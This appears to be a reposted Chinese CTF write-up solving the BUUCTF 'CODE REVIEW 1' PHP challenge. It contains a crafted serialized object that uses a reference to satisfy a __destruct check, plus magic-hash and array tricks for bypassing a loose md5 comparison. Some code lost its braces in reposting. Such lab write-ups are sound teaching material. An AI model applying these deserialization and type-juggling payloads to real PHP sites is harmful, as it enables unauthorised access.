BUU CODE REVIEW 1 1(反序列化+md5绕过)

Posted MangataTS

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU CODE REVIEW 1 1(反序列化+md5绕过)相关的知识,希望对你有一定的参考价值。

题目链接

https://buuoj.cn/challenges#BUU%20CODE%20REVIEW%201

思路

先看源代码:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU 
   public $correct = "";
   public $input = "";

   public function __destruct() 
       try 
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) 
               echo file_get_contents("/flag");
           
        catch (Exception $e) 
       
   


if($_GET['pleaseget'] === '1') 
    if($_POST['pleasepost'] === '2') 
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) 
            unserialize($_POST['obj']);
        
    

我们发现需要传入一共五个变量的参数(一个GET,四个POST),我们可以注意到BUU这个类,在析构函数的时候如果correctinput相等的话,那么就会输出flag,那么很显然我们需要解决这个反序列化的问题,第二个问题就是md5的问题,有一个弱md5相等

反序列化

对于反序列化的问题,我们可以将BUUinput 指向correct的地址,然后析构函数的时候两个变量就相等了,然后我们这个时候输出一下序列化的结果

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU 
   public $correct = "";
   public $input = "";

   public function __destruct() 
       try 
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) 
               echo file_get_contents("/flag");
           
        catch (Exception $e) 
       
   


$obj = new BUU;
$obj->input = &$obj->correct;
echo serialize($obj);

运行、输出得到:

O:3:"BUU":2:s:7:"correct";s:0:"";s:5:"input";R:2;

那么这个就是我们需要传入的obj的序列化对象

弱md5绕过

这个在easy_md5那里就已经遇到过了,有两种绕过的方法:

  • 方法1: 科学计数法绕过,原理是php里面在做 == 的时候会先把两边的类型转成一样的,因为是 0 e 0e 0e 开头,php会认为它是科学技计数法,而 0 0 0 的多少次方都是 0 0 0

常用的绕过值有:
QNKCDZO

s155964671a

s1091221200a

  • 方法2:数组绕过,原理是 md5 等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过

解决

通过hackbar发一个postget请求包,然后得到flag

关于序列化讲的不错的blog:https://blog.csdn.net/weixin_45844670/article/details/108171963

以上是关于BUU CODE REVIEW 1 1(反序列化+md5绕过)的主要内容,如果未能解决你的问题,请参考以下文章

BUU CODE REVIEW 1(代码审计)

BUUCTF | CODE REVIEW 1 (反序列化,md5绕过)

Code-Serialization:Xml序列化与Xml反序列化

BUU[GWCTF 2019]pyre 1

BUU[GWCTF 2019]pyre 1

为啥fastjson只支持序列化属性的get方法